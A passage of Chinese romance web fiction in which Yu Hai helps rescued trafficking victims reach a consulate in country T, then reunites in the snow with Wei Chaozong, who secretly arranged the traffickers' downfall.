尖叫声此起彼伏, 围观群众像受惊的鸟群, 惊恐的四散逃离。
打手们顾不上将死之人的命令, 随人群逃走,仅有个别忠心的护命悬一线的段涛撤离。
刘江似是呆住了, 傻傻的站在原地不动弹。
于海看得着急, 就见徐蕊反手一耳光把人打醒,拉着身边的人向混乱的人群中逃离。
不愧是徐姐!
于海逆行穿梭在人潮中, 瞅准空隙握住徐蕊的肩膀。
徐蕊警惕的回头, 看到是他明显的松了口气。
“有车吗?”
“跟我来。”
简短的对话结束,几人对视一眼, 跟着于海的脚步用尽全力飞快的朝着拱桥的方向跑去。
阿力在拱桥旁等待,看见他的身影高兴的跳下车,脸上笑容只持续片刻便转换成戒备。
于海回头, 发现他的身后竟然跟了一长串的人, 除了徐蕊和刘江,还有三女两男。
徐蕊边喘息边道:“来不及解释了, 他们都是同胞, 我们要尽快赶到领事馆。”
于海对阿力说:“都是自己人。”
阿力放下戒备,发愁道:“这么多人坐不下啊。”
沉默跟随在于海身后的魏朝宗开口:“坐我的车。”
拱桥旁一辆黑色悍马安静的驻守。
“走。”
众人快速分成两队,分别坐上两辆车。
刘江惯性的按照徐蕊的指示前行,稀里糊涂的上了黑色悍马。
汽车开出八区,高速行驶, 两侧景物飞速闪过。
风驰电掣的速度却让刘江连日绷紧成一团的神经缓慢松弛,得以获取喘息的罅隙。
心神松懈之下, 脑袋发昏,意识有点不清醒,刘江寻思找个人说说话。
这辆车,加上他一共坐着五个人。
驾车的司机面无表情,握住方向盘的手臂肌肉鼓起流畅的线条,仿若蓄势待发的猎豹,在黑夜中泛着冷光,一看就知道不好惹。
副驾上的那位表情更冷,说了句去领事馆,便扭头去看寂静的黑夜。
后座的另外两位虽同生共死,但他们并不相熟。
这四个人,他最熟悉的就是副驾的神色冷漠的魏朝宗。
算了,他还是闭嘴吧。
另一辆车的氛围也未轻松多少,四位女生挤挤挨挨坐在一起,神色仓惶惊魂未定,身上或多或少都带着伤。
徐蕊旁边的那位女生状态尤其差,脸颊凹陷脸色苍白如纸,瘦弱的身体像一根随时会折断的细竹竿,她紧紧依偎在徐蕊身上,时不时发出颤抖令人心忧。
徐蕊虽是其中最镇定的,面上仍带着明显的疲惫和余悸。
于海心中的疑问有很多,但他知道事情的前因后果不是三两句话就能解释清楚的,而且现在还没有彻底的脱离危机,几位的状态也不适合追刨根问底,因而并未出声打扰。
出乎意料的是,八区到一区领事馆一路通畅,前无阻拦后无追兵,顺利的不可思议。
抵达领事馆,众人刚缓解紧张的情绪,就被哐当摔地上的刘江吓了一跳。
于海第一个反应过来,冲过去扶人。
刘江头靠在他的臂弯,挣扎着笑了笑,嘴唇努力蠕动想要说些什么,眼皮艰难的眨动两下无力的阖上了。
镇定如于海、徐蕊,面上也不禁浮现焦虑之色。
徐蕊边检查边着急的说:“他什么时候受伤了吗?”
其他几人相互对视,摇了摇头。
徐蕊检查全身并不见伤口,心中的担忧不减反增。
一人走上前,小心翼翼道:“刘哥是不是太累了?”
于海用手指试探鼻息,均匀的呼吸打在指尖。
那人继续说:“他一直警惕那些人,已经两天两夜没合眼了。”
于海松了口气,没受伤就好。
徐蕊哭笑不得的摸了下刘江的侧脸,胡茬扎人的触感令人心安。
刘江依恋的蹭了蹭脸颊,嘴里嘟囔着什么。
于海凑近去听,只听到几个含糊的字眼。
“魏……做鬼……”
魏?于海瞟向魏朝宗,轻易捕捉到对方的目光。
魏朝宗却似做了坏事被抓包,慌张避开了视线。
于海一头雾水,不知魏朝宗怎么和鬼有联系了。暂且放下疑惑,于海等人合力将刘江抬进去休息,出来时看到徐蕊正和领事馆的人交谈,未上前打扰。
两人很快结束了谈话,通过两人神色,于海看出来事态的发展应当是乐观的。
徐蕊疲惫的脸上浮现轻松的笑意,看到他时,笑意更加深刻了。
走过来的步伐也轻快许多。
“阿海,今晚多谢你。”
“事情解决了?”
徐蕊点头:“报应不爽,段家父子再也没有机会作恶了。”
“死了?”
“死了。据说有人直接向T国高层买他们的命,军方动的手。”徐蕊讽刺,“段家恐怕怎么也想不到,他们背靠的大树有朝一日成了断头台。”
曾经,段家用钱买命,如今有人用钱买了他们的命。
“买家是?”
徐蕊摇了摇头:“说是不便透露。”
于海眸光一闪,心底掠过某个名字。
视线微转,看见与徐蕊同行的几位女生正从门缝中小心翼翼的看着外面,她们的目光专注而依赖的停留在徐蕊身上,仿佛那是唯一让她们感觉安心的存在。
徐蕊也注意到了,让于海暂且等一会,先去房间内安抚了惊魂未定的女孩们,然后出来和他简单说了说最近发生的事情。
徐蕊原本并不是冲着段家去的,她去八区老城,和以往走访世界各地的目的并无不同——为了探访揭露底层民众的真实生活,期望通过提高曝光度来提高当地政府的关注,一定程度上改善底层的生活。
不料无意中撞见逃跑求救的同胞,眼睁睁的看着对方被堵住嘴强行拖拽拉走却无能为力,光天化日之下周围人惊慌避开唯恐惹事上身,无一人敢发声。
徐蕊打听国人失踪的消息,发现每年都有来崑港市旅游莫名消失的人,这说明那个求救的同胞绝不是个例。
徐蕊尝试过报警,不出所料无功而返,后来她得知原来段家那些见光和见不得光的生意,包庇他们的人都参股其中。
而领事馆纵然有心,但在他国地盘上行使权利的范围有限,她必须找到铁证。
接下来的一段时间,徐蕊徘徊在东八区,想尽办法试图深入探访搜集证据,却遇到了一位不顾劝阻执意要去红瓦巷面试的同胞。
“我劝她不要去,她反过来劝我一起挣大钱。”
“你知道那是骗局。”
徐蕊苦笑:“我知道,可我不得不去。”
女孩遍体鳞伤浑身颤抖,她抖着手撩开下摆,凹陷的肚子上一道骇人的狰狞切口,她不再说话,满目的哀求与绝望。
徐蕊看出来这个瘦骨嶙峋的女孩是诱饵,说不定是段家发现了她的怪异,专门派过来“诱捕”她的饵。
但女孩的目光告诉她,如果她不去,这个女孩会死。
即便知道前方是龙潭虎穴,徐蕊也要闯一闯。
“只是连累了刘江跟着落入陷阱。如果段涛没有意外中弹引发骚乱,恐怕这场火也难以让我们顺利脱身。”
于海看出她的自责,笑道:“对刘江而言,和你共患难是求之不得的美事。徐姐,你能救出那么多人,已经做到最好了。有惊无险,结局是好的不是么。”
徐蕊畅快的吐了口气,露出笑容:“是啊,结局是好的。”
徐蕊临走前拉住他询问:“阿海,今晚过来帮忙的那人是你的朋友吗?我没找到他,你见到他的话,替我道声谢。”
于海笑着点点头,待徐蕊离开走廊踏入房间后,他的视线扫过走廊和大厅,意料之中并未看见魏朝宗的身影。忽然夜风穿堂而入,裹挟淡淡的自然清香扑面而来。
于海循着香气走入院内,看见一棵老槐树扎根于院落一角。
槐树下摆了圆台石桌和石凳。
于海捡起散落石凳上的落叶,坐在石凳上。
他倒没有多少赏景的雅致,不过是百无聊赖之际的放空。
不多时,另一股香味掺杂其中,香味中带着淡淡的鲜辣,勾的人垂涎欲滴,那是食物的香气。
一只粗壮有力的手腕探到面前,将食物包装盒放在了石桌上。
于海望过去,认出来这人是那辆悍马上的司机。
“您的饭。”
于海问:“魏朝宗呢?”
“抱歉。”
抱歉不知道,还是抱歉不能说?
“谢谢你送的饭,也替我谢谢魏少。”
“好。”男人惜字如金,一个多余的字也不说,见他没有多余的吩咐,便转身离开了。
于海打开包装袋,晶莹剔透的米粉映入眼帘,靠得近了便能嗅到热腾腾鲜辣香气中轻淡的甜。
半天滴水未进,原是饿过头,心神松弛之下闻到清爽的米粉香味,让他找回饥肠辘辘的感觉。
于海却不急于立时用餐,察觉落在身上的隐晦目光也不惊讶。
不知何时,他似乎已经习惯那人出现在他身边的不远处。
于海抛下诱人的食物,不慌不忙的从院子里离开进了屋子。
躲在不远处默默窥视的魏朝宗见状一愣。
不合胃口吗?还是食物拿过来的过程中出了什么问题?
魏朝宗眉心微蹙,一边向石桌旁走去,一边思索买点什么其他的宵夜。
熟悉的脚步声打断了他的思绪,魏朝宗头也不回的想避开,慌不择路闷着头往槐树后面躲。
“站住。”不咸不淡的两个字,彷佛打下一道威力无穷的定身符,令他动弹不得。
“魏少不远万里,过来玩躲迷藏的真是好兴致。”
熟悉的声音由远及近,魏朝宗的身体越来越僵。
他不敢回头,但全副身心都落在身后,细微的响动传入耳边,魏朝宗试图通过那点声响描摹那人的一举一动。
“过来。”
淡淡的语调,没有丝毫命令的语气。魏朝宗却不由自主的机械转了身,猝不及防被撞入眼前的画面晃动了心神。
石桌上放着两只碗,于海拿起其中一只,从打包盒里挑出半碗米粉,以闲话家常的口吻道:“吃了吗?没吃陪我吃点。”
说着,漫不经意的瞟了他一眼,手里的碗递了过来。
魏朝宗不知于海何时发现了他的存在,喉咙仿佛有东西堵着,说不出话。他双手接过那只碗捧在手心,像捧着什么珍贵的宝物。
T国的米粉别有风味,于海吃饭快,三两分钟便解决完。
魏朝宗默默跟上他的速度。
等于海吃完,拿起矿泉水喝了几口解渴,一旁的魏朝宗也停了筷子。
于海:“徐姐说,感谢你今晚上的帮忙。”
“不必。”魏朝宗慌忙补充,“我的意思是,我不是为了她,她也不用感谢我。”
于海故意道:“那是为了谁?”
魏朝宗陷入沉默,还能为了谁呢?但他不敢说出口,唯恐越过于海衡量朋友的边界,惹他不快。
再开口时声音喑哑,垂着眼道:“谁也不为,纯粹看姓段的不顺眼。”
“所以…”于海靠近,压低嗓音,用只有两人听到的声音说,“买通军方的人真的是你?”
于海未等到回答,却见眼前的耳朵以肉眼可见的速度红个透彻。
再去看耳朵的主人…
目光呆滞双眼无神的目视前方,脸上一片茫然,妥妥一只呆鸟。
噌!
“呆鸟”一只翅膀捂住红到滴血的耳朵,一只翅膀飞快的扑棱,狼狈逃离。中途身形不稳的晃了晃,像是受到了什么强气流的冲击。
于海:……
“呆鸟”终于克服了“强气流”,飞得平稳许多,忽然又闷着头飞了回来,顾不得火辣辣的耳朵,捡起石桌上的两副待清洗的碗筷:“我…我去洗碗。”
然后火速扑棱着翅膀飞远了。
魏朝宗这一套出乎意料的举止把于海都看蒙圈了,眼睁睁的看着对方的背影消失在视野中。
愣神片刻,于海不禁哑然失笑。
不得不说,魏朝宗这人……还是挺有意思的。
他们未在T国久待,对解救出来的人来说,虽然已脱险,但呆在T国的土地上始终让他们无法获得安全感。
于是第二天,众人便在领事馆的帮助下启程回国。
落地国内之后,于海收到许多信息,大部分来自于乔叶尧。
(视频请求)未应答
(语音请求)未应答
【耳钉…耳钉是你送我的吗?】
【这是我收到最好的礼物!!】
【你在哪?我能见见你吗?】
消息已撤回
消息已撤回
【不见也没关系,你的工作要紧。我很喜欢很喜欢…这副耳钉,谢谢你,于海】
……
处理完公事,于海回复:【喜欢就好,生日快乐】
对方仿佛守着手机似的,对话框立刻显示正在输入中。
同车回家的刘江余光瞥见了未读22条,咋舌:“嚯,这谁?狂轰乱炸啊。魏大少?”
“乔叶尧。”
“乔家小少爷。”刘江唏嘘,“这小子还对你穷追不舍呢。”
于海摇头:“十八岁生日,大概太兴奋了想找人分享喜悦。”
“啧,别人不分享怎么就专找你,还不是喜欢。”刘江好奇的打听,“欸,你送他礼物了?”
“嗯”
“送的什么?我外甥马上也成年了,给我参考参考。”
“耳钉。”
“啊?”刘江掏了掏耳朵,以为自己听错了,“耳……钉?”
“嗯。”
“一男的,你送人家耳钉?”
于海笑了:“男生怎么就不能带耳钉了。”
“行吧。”刘江承认他说的有道理,但……
“你怎么想到送这玩意的?”
他没注意过乔叶尧到底戴不戴耳钉,但一般情况都不会送男的耳钉吧。
于海轻描淡写:“上次他来找我,把耳钉抵押给司机了,想起来这事顺手买了。”
刘江:……
服!他服了!
大爷的!这搁谁能顶得住!怪不得乔小少发了二十多条信息,不知道激动成什么德性了。
于海无视刘江精彩纷呈的表情,问起另一件事:“昨晚你昏睡前嘀嘀咕咕,魏朝宗,做鬼,想说什么玩意?”
刘江傻眼,想了半天终于找回记忆,想起昨晚的举动,尴尬的挠了挠脸。
“咳,那不是昏头了嘛,我以为快噶了,交待一下临终遗言。”
“哦,遗言啊。”
于海已经自觉的从只言片语的信息中补全了刘江要说的话。
【魏朝宗,你要善待我兄弟,不然我做鬼也不会放过你的!】
刘江赶紧转移话题:“话说魏大少去哪儿了?我醒来就没见他人影,昨晚多亏他让人开了车过来,不然我们这帮男的就得挂车顶去领事馆了。嗨,我还没谢谢人家。”
魏朝宗并未和他们同行……
于海望向窗外掠过的枯枝落叶,淡淡的勾了勾唇:“会有机会的。”
12月3号,青奚下了雪——冬天的第一场。
于海比往日早醒了半小时,他摸索床头柜的灯,摸到一个皮质的盒子。
手指向墙侧移动,触到台灯的拉绳,随手一拉开了灯。
昏暗的房间注入了光亮,于海第一眼看到房间的架子上挂了条围巾。
皮质盒子里面装的是一只手表,那是他准备送给魏朝宗的生日礼物。
他妈知道后,特意去挑了条围巾,摆在显眼的位置,叮嘱他别忘了一并送过去。
于海心道,过生日的人都躲没影了,倒是省钱省时省力。
于海起身拉开推拉门,走到阳台。
天灰蒙蒙的,却不见凛冽寒风。
飘入的空气清新干净,温柔的荡涤心间所有尘埃。
雪花飘落的声音微不可闻,晃晃悠悠不紧不慢的邂逅安静仰望、沉默渴盼的大地。
雪下的不大,于海换上运动装,打算出去走走。
出门时,顺手打开了廊檐下的灯,以防他妈看不清路。
于海打开大门,转身之际一团蜷缩的人影闯入视线。
他尚未有反应,那人却像受到莫大惊吓似的全身颤抖了下。
“抱歉,我马上离开。”那人埋着脑袋,说话的声音听不真切。
于海俯身:“魏朝宗?”
魏朝宗感受到温暖的靠近,身体不由得僵住:“我腿麻了,缓一会就走。”
于海揶揄:“天不亮蹲我家门口,我还以为魏大少是来讨债的。”
魏朝宗仍然低着头。
他不敢抬头,连日不见的思念几近将他逼疯。
他不怕于海看见他的狼狈,他怕于海看见他的思念——那是令于海不悦的疯狂执念。
他只能躲在暗处做回那个见不得光的偷窥者,在于海发现他不堪的欲望之前一次次狼狈逃离。
那日于海的目光和话语反反复复在他脑海中浮现,他知道于海是为了他好。
于海说,未来还有很长。
但于海不明白,他的未来早已被杀死了。
如果于海不曾出现,他向前迈开一步,或坠入死亡之渊,或踏入那座充斥着腐烂气息的王殿做一个被困在铁王座上的活死人。
而于海看着他的眼睛,告诉他,还有别的选择。从此,欲望的种子落入心间生根发芽,长成盘根错节不可撼动的参天大树,他再也无法放下于海,无法放下自己的执念,即便剜心剔骨。
魏朝宗声音嘶哑:“你不欠我的,只有我欠你。”
于海蹲下身,拂去黑发上飘落的雪花:“我不是还欠你一份生日礼物?”
手指触碰发丝的瞬间,头发的主人身体下意识向前倾,僵了一瞬立刻向后缩,瞧那模样恨不得钻进墙缝里。
于海挑了挑眉:“不想要了?”
魏朝宗猛地抬头:“要!”
与那双温润双眸对视的刹那,慌不可及的垂眼避开视线。
于海心道,这次答的倒是铿锵有力,看来身体健康状况不错,没有被霜雪影响。
“想要自己来取。”
自己取……魏朝宗脑海中反复播放着于海的话,却像是丧失了思考能力,急得额头冒汗仍无法理解这句话的意思。
他盯着那人搭在膝盖上自然垂落的手臂,小心翼翼的抬头,试图…试图悄然窥探些什么。
身前的人忽然有了动作,弯起的膝盖慢慢挺直,近在咫尺的手臂离他越来越远。
一片雪花打在睫毛上,轻若无物却压得他无法抬眼。
世间的霜雪积聚于此,顷刻间冻结了他的五脏六腑,魏朝宗手指蜷缩,眼皮垂落,不敢动弹。
死寂的冰渊中,一只手出现在他面前。
那只手宽大粗糙带着厚茧,却是世界上最温柔的存在。
霜雪消融,化成温软的春水。
魏朝宗大脑一片空白,血管流淌的暖意熏得他晕乎乎的,恍若梦中。
眼底弥漫的水雾也是暖的,魏朝宗贪恋这温暖,却怕看不清那只温暖的手。
他眨着眼试图将模糊视线的水雾逼回去。
“蹲久了确实腿麻。”头顶传来一声轻笑,“怎么?握手也不敢了?”
一句话轻而易举击溃他所有的努力。
温热的水珠混着雪花滴落在宽厚的手掌上。
于海尚未来得及感受掌心的温度,便被一个冰凉的身体撞了满怀。
“于海……”哽咽的声音从肩窝传出,一个名字似乎灌注了他所有的情感,倾尽了他所有的语言能力,魏朝宗再也说不出任何话来。
别墅门廊前的灯照向相拥的两人,在洁白的雪地上拉出斜长的影子,两个身影交叠仿若融为一体。
于海拍了拍他的背:“天冷,进来喝杯热茶。”
“嗯。”魏朝宗胡乱点头,眼睛涌出更多的热意。
他温柔的神明,再次向他伸出了手。